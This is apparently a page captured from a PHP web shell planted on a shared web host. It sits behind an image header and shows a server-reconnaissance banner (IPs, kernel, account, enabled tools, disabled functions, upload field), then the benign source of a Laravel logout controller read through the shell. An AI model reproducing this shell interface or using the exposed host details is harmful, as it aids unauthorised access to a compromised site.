����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.142.243.141 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/ |
Upload File : |
<?php namespace App\Http\Controllers; use App\Multiplescreen; use App\PaypalSubscription; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class LogoutController extends Controller { public function logout() { if (Auth::user()->is_admin == 1) { // If user is admin, log them out and flush session Auth::logout(); Session::flush(); return redirect('/')->with('success', 'Logged out!'); } elseif ($activeSubscription = PaypalSubscription::where('user_id', Auth::user()->id) ->where('status', '=', 1) ->orderBy('created_at', 'desc') ->first()) { // If user has an active subscription $getScreens = Multiplescreen::where('user_id', Auth::user()->id)->first(); if ($getScreens) { // Update the corresponding screen usage status foreach (range(1, 4) as $i) { $screenUsed = "screen_${i}_used"; if ($getScreens->$screenUsed == 'YES') { // If the screen is in use, mark it as not used $getScreens->$screenUsed = 'NO'; } } // Save the changes $getScreens->save(); } Auth::logout(); Session::flush(); return redirect('/')->with('success', 'Logged out!'); } else { // In case user is not subscribed or screen not found Auth::logout(); Session::flush(); return redirect('/')->with('success', 'Logged out!'); } } }